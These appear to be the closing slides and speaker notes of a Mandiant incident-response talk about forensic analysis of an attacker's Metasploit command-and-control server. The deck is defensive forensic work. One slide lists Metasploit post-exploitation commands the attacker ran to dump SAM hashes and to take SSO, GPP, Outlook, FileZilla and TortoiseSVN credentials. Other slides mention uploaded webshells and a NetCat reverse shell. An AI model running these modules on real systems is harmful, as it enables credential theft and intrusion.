    54© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Top Post-Exploitation Modules Module Frequency Function run post/windows/gather/credentials/sso 81 Extract SSO credentials run post/windows/gather/enum_ad_computers 26 Enumerates systems in the default AD directory run post/windows/gather/enum_domains 24 Enumerates domains a host has visibility into run post/windows/gather/smart_hashdump 14 Dumps local accounts from SAM database run post/multi/gather/filezilla_client_cred 11 Collects credentials from FileZilla FTP client run post/windows/gather/credentials/gpp 8 Gathers GPP XML files and extracts pw’s run post/windows/gather/credentials/credential_collector 7 Extracts credentials from host run post/windows/gather/credentials/outlook 4 Extracts and decrypts Outlook passwords from the Windows Registry run post/windows/gather/credentials/tortoisesvn 4 Extracts and decrypts saved TortoiseSVN pw’s
  • 55.
    55© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Attacker Creates User Accounts Attacker creates user account “mava2” on victim system
  • 56.
    56© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Attacker Uploaded Webshells Attacker uploads “ntdaddy.php” and “cmd.php” to victim web server
  • 57.
    57© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Attacker Data Theft Attacker downloads file “wifi_pass.xlsx” from victim workstation Attacker views contents of “FileZilla.txt” and downloads “23.7.2016.xls”
  • 58.
    58© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Attacker Tradecraft Attacker executes PsExec, creates reverse shell using NetCat
  • 59.
    59© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Attacker Tradecraft (cont.) Attacker attempts to unzip the archive “file.zip”, is unsuccessful and downloads DLL from another compromised web server
  • 60.
    60© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Summary  Mandiant investigated an intrusion conducted by an unknown attacker  Obtained a C2 server, and performed forensic analysis  Developed a tool to carve PostgreSQL rows from an image
  • 61.
    61© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Takeaways  Metasploit gets the job done  Operational security  Just ask
  • 62.
    62© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL QUESTIONS?

Editor's Notes

  • #3  Add ‘joke’ slide
  • #8 Easy slide to breeze past on, client contacts us with alert, we immediately recognize as a classic Metasploit PowerShell payload, pretty likely this is bad news
  • #9 Easy slide to breeze past on, client contacts us with alert, we immediately recognize as a classic Metasploit PowerShell payload, pretty likely this is bad news
  • #35 REDACT BETTER
  • #43 Warning that things are about to get technical